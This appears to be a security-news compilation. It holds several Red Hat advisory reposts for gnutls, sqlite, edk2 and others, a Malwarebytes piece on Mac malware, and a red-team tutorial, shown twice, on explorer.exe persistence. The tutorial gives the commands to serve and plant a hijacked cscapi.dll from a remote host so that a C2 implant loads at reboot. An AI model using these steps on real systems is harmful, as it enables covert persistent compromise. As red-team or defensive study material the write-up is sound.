Red Hat Security Advisory 2024-1082-03 - An update for gnutls is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1082.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: gnutls security updateAdvisory ID:        RHSA-2024:1082-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1082Issue date:         2024-03-05Revision:           03CVE Names:          CVE-2024-0553====================================================================Summary: An update for gnutls is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The gnutls packages provide the GNU Transport Layer Security (GnuTLS) library, which implements cryptographic algorithms and protocols such as SSL, TLS, and DTLS.Security Fix(es):* gnutls: incomplete fix for CVE-2023-5981 (CVE-2024-0553)* gnutls: rejects certificate chain with distributed trust (CVE-2024-0567)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-0553References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2258412https://bugzilla.redhat.com/show_bug.cgi?id=2258544

Red Hat Security Advisory 2024-1082-03

Red Hat Security Advisory 2024-1081-03 - An update for sqlite is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1081.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: sqlite security updateAdvisory ID:        RHSA-2024:1081-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1081Issue date:         2024-03-05Revision:           03CVE Names:          CVE-2023-7104====================================================================Summary: An update for sqlite is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:SQLite is a C library that implements an SQL database engine. A large subset of SQL92 is supported. A complete database is stored in a single disk file. The API is designed for convenience and ease of use. Applications that link against SQLite can enjoy the power and flexibility of an SQL database without the administrative hassles of supporting a separate database server.Security Fix(es):* sqlite: heap-buffer-overflow at sessionfuzz (CVE-2023-7104)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-7104References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2256194

Red Hat Security Advisory 2024-1081-03

Red Hat Security Advisory 2024-1077-03 - An update for edk2 is now available for Red Hat Enterprise Linux 9.0 Extended Update Support. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1077.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: edk2 security updateAdvisory ID:        RHSA-2024:1077-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1077Issue date:         2024-03-05Revision:           03CVE Names:          CVE-2023-45230====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 9.0 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for Virtual Machines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM. Security Fix(es):* edk2: Buffer overflow in the DHCPv6 client via a long Server ID option (CVE-2023-45230)* edk2: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message (CVE-2023-45234)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45230References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2258685https://bugzilla.redhat.com/show_bug.cgi?id=2258697

Red Hat Security Advisory 2024-1077-03

Red Hat Security Advisory 2024-1076-03 - An update for edk2 is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1076.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: edk2 security updateAdvisory ID:        RHSA-2024:1076-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1076Issue date:         2024-03-05Revision:           03CVE Names:          CVE-2023-45230====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for Virtual Machines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM. Security Fix(es):* edk2: Buffer overflow in the DHCPv6 client via a long Server ID option (CVE-2023-45230)* edk2: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message (CVE-2023-45234)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45230References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2258685https://bugzilla.redhat.com/show_bug.cgi?id=2258697

Red Hat Security Advisory 2024-1076-03

Red Hat Security Advisory 2024-1075-03 - An update for edk2 is now available for Red Hat Enterprise Linux 9. Issues addressed include a buffer overflow vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1075.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: edk2 security updateAdvisory ID:        RHSA-2024:1075-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1075Issue date:         2024-03-05Revision:           03CVE Names:          CVE-2023-45230====================================================================Summary: An update for edk2 is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:EDK (Embedded Development Kit) is a project to enable UEFI support for Virtual Machines. This package contains a sample 64-bit UEFI firmware for QEMU and KVM. Security Fix(es):* edk2: Buffer overflow in the DHCPv6 client via a long Server ID option (CVE-2023-45230)* edk2: Buffer overflow when processing DNS Servers option in a DHCPv6 Advertise message (CVE-2023-45234)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-45230References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2258685https://bugzilla.redhat.com/show_bug.cgi?id=2258697

Red Hat Security Advisory 2024-1075-03

Red Hat Security Advisory 2024-1074-03 - An update for the 389-ds:1.4 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support. Issues addressed include a heap overflow vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1074.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: 389-ds:1.4 security update  
Advisory ID:        RHSA-2024:1074-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1074  
Issue date:         2024-03-05  
Revision:           03  
CVE Names:          CVE-2024-1062  
====================================================================

Summary: 

An update for the 389-ds:1.4 module is now available for Red Hat Enterprise Linux 8.6 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

389 Directory Server is an LDAP version 3 (LDAPv3) compliant server. The base packages include the Lightweight Directory Access Protocol (LDAP) server and command-line utilities for server administration. 

Security Fix(es):

* 389-ds-base: a heap overflow leading to denail-of-servce while writing a value larger than 256 chars (in log_entry_attr) (CVE-2024-1062)

Bug Fix(es):

* dtablesize being set to soft maxfiledescriptor limit causing massive slowdown in large enviroments. [rhel-8.6.0.z] (JIRA:RHEL-15025)

* Paged search impacts performance [rhel-8.6.0.z] (JIRA:RHEL-15030)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2024-1062

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2261879  
https://issues.redhat.com/browse/RHEL-15025  
https://issues.redhat.com/browse/RHEL-15030

Red Hat Security Advisory 2024-1074-03

Red Hat Security Advisory 2024-1071-03 - An update for the postgresql:12 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1071.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: postgresql:12 security updateAdvisory ID:        RHSA-2024:1071-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1071Issue date:         2024-03-04Revision:           03CVE Names:          CVE-2024-0985====================================================================Summary: An update for the postgresql:12 module is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Telecommunications Update Service, and Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:PostgreSQL is an advanced object-relational database management system (DBMS).Security Fix(es):* postgresql: non-owner 'REFRESH MATERIALIZED VIEW CONCURRENTLY' executes arbitrary SQL (CVE-2024-0985)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-0985References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2263384

Red Hat Security Advisory 2024-1071-03

Last year, 11% of all detections on Macs were caused by malware. The illuminating figure gives a view into the world of Mac cyberthreats.

We’re going to let you in on a little cybersecurity secret… There’s malware on Mac computers. There pretty much always has been.

As revealed in our 2024 ThreatDown State of Malware report, a full 11% of all detections recorded by Malwarebytes on Mac computers in 2023 were for different variants of malware—the catch-all term that cybersecurity researchers use to refer to ransomware, trojans, info stealers, worms, viruses, and more.

That 11% figure may not sound imposing but remember that many people today still believe that Apple devices, including Mac computers, are invulnerable to cyberinfections because of some sort of vague “Apple magic.”

In reality, “Apple magic” is more a byproduct of old advertising (this 2006 commercial from the “I’m a Mac, and I’m a PC” series did irreparable harm) and faulty conclusions concerning cybersecurity’s biggest breaches and attacks: People mistakenly believe that because _most_ attacks target Windows computers and servers, _no_ attacks target Macs.

The truth is far more nuanced, as the visible, overwhelming focus of cyberattacks on Windows machines is a consequence of Microsoft’s long-standing success in business computing.

For decades, every multinational corporation, every local travel agency, every dentist, every hospital, every school, government, and city hall practically ran on Windows. This mass adoption was good for Microsoft and its revenue, but it also drew and maintained the interests of cybercriminals, who would develop malware that could impact the highest number of victims. This is why the biggest attacks, even today, predominantly target Windows-based malware and the sometimes-unpatched vulnerabilities found in Windows software and applications.  

Essentially, as Windows is the biggest target, cybercriminals zero in their efforts respectively.

But new information last year revealed that could all be changing.

****Mac malware tactics shifted in 2023****

Apple’s desktop and laptop operating system, macOS, represents a 31% share of US desktop operating systems, and roughly 25% of all businesses reportedly utilize Mac devices somewhere in their networks.

Already, the cybercriminals have taken note.

In April 2023, the most successful and dangerous ransomware in the world—LockBit—was found to have a variant developed for Mac. Used in at least 1,018 known attacks last year, LockBit ransomware, and the operators behind it, destroyed countless businesses, ruined many organizations, and, according to the US Department of Justice, brought in more than $120 million before being disrupted by a coordinated law enforcement effort in February of this year.

While the LockBit variant for Mac was not operational upon discovery, the LockBit ransomware gang said at the time that it was “actively being developed.” Fortunately, LockBit suffered enormous blows this year, and the ransomware gang is probably less concerned with Mac malware development and more concerned with “avoiding prison.”

Separately, in September 2023, Malwarebytes discovered a cybercriminal campaign that tricked Mac users into accidentally installing a type of malware that can steal passwords, browser data, cookies, files, and cryptocurrency. The malware, called Atomic Stealer (or AMOS for short) was delivered through “malvertising,” a malware delivery tactic that abuses Google ads to send everyday users to malicious websites that—though they may appear legitimate—fool people into downloading malware.

In this campaign, when users searched on Google for the financial marketing trading app “TradingView,” they were sometimes shown a malicious search result that appeared entirely authentic: a website with TradingView branding was visible, and download buttons for Windows, Mac, and Linux were clearly listed.

But users who clicked the Mac download button instead received AMOS.

This malvertising site mimics TradingView to fool users into downloading malware for different operating systems.

Just months later, AMOS again wriggled its way onto Mac computers, this time through a new delivery chain that has more typically targeted Windows users.

In November, Malwarebytes found AMOS being distributed through a malware delivery chain known as “ClearFake.” The ClearFake campaign tricks users into believing they’re downloading an approved web browser update. That has frequently meant a lot of malicious prompts mimicking Google Chrome’s branding and update language, but the more recent campaign imitated the default browser on Mac devices—Safari.

A template is used that mimics the official Apple websites and webpages to convince users into downloading a Safari “update” that instead contains malware.

As Malwarebytes Labs wrote at the time:

> “This may very well be the first time we see one of the main social engineering campaigns, previously reserved for Windows, branch out not only in terms of geolocation but also operating system.”

****Replace “magic” with Malwarebytes****

Cyberthreats on Mac aren’t non-existent, they’re just different. But different threats still need effective protection, which is where Malwarebytes Premium can help.

Malwarebytes Premium detects and blocks the most common infostealers that target Macs—including AMOS—along with annoying browser hijackers and adware threats such as Genieo, Vsearch, Crossrider, and more. Stay protected, proactively, with Malwarebytes Premium for Mac.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 No “Apple magic” as 11% of macOS detections last year came from malware 

Windows File Explorer is the is the graphical file management utility for the Windows operating system and the default desktop environment. Windows explorer was introduced… 
Continue reading → Persistence – Explorer

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Windows File Explorer is the is the graphical file management utility for the Windows operating system and the default desktop environment. Windows explorer was introduced in Windows 95 and it is associated with the process _explorer.exe_. Since this is a native Windows process it could be used in red team operations for injection of arbitrary code. Processes which are missing DLL’s are prone to DLL Hijacking. Identification of missing DLL’s is trivial and requires process monitor to filter the _explorer.exe_ for results that contain _NAME NOT FOUND_. One of the missing DLL’s that _explorer.exe_ is missing is the cscapi.

Process Monitor – cscapi.dll

An HTTP server is required to serve the arbitrary DLL. From a Kali Linux box this is trivial by executing the following command:

    python3 -m http.server 8080

Python Web Server

A public tool has been released that will communicate with the host serving the arbitrary DLL, retrieve and write the DLL into _C:\\Windows_ path. The tool require the IP address and the port of the server hosting the DLL and the DLL name.

    DLLHijacking.exe 10.0.0.3 8080 demon.x64.dll

Explorer.exe – DLL Hijacking

Explorer.exe – cscapi.dll

The arbitrary DLL will load into the _explorer.exe_ process on the next reboot and a communication channel with the Command and Control will established.

Explorer.exe – Implant

Host Enumeration

**References**

1.  https://github.com/gavz/ExplorerPersist

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Persistence – Explorer

Skip to content

Windows File Explorer is the is the graphical file management utility for the Windows operating system and the default desktop environment. Windows explorer was introduced in Windows 95 and it is associated with the process _explorer.exe_. Since this is a native Windows process it could be used in red team operations for injection of arbitrary code. Processes which are missing DLL’s are prone to DLL Hijacking. Identification of missing DLL’s is trivial and requires process monitor to filter the _explorer.exe_ for results that contain _NAME NOT FOUND_. One of the missing DLL’s that _explorer.exe_ is missing is the cscapi.

Process Monitor – cscapi.dll

An HTTP server is required to serve the arbitrary DLL. From a Kali Linux box this is trivial by executing the following command:

    python3 -m http.server 8080

Python Web Server

A public tool has been released that will communicate with the host serving the arbitrary DLL, retrieve and write the DLL into _C:\\Windows_ path. The tool require the IP address and the port of the server hosting the DLL and the DLL name.

    DLLHijacking.exe 10.0.0.3 8080 demon.x64.dll

Explorer.exe – DLL Hijacking

Explorer.exe – cscapi.dll

The arbitrary DLL will load into the _explorer.exe_ process on the next reboot and a communication channel with the Command and Control will established.

Explorer.exe – Implant

Host Enumeration

**References**

1.  https://github.com/gavz/ExplorerPersist

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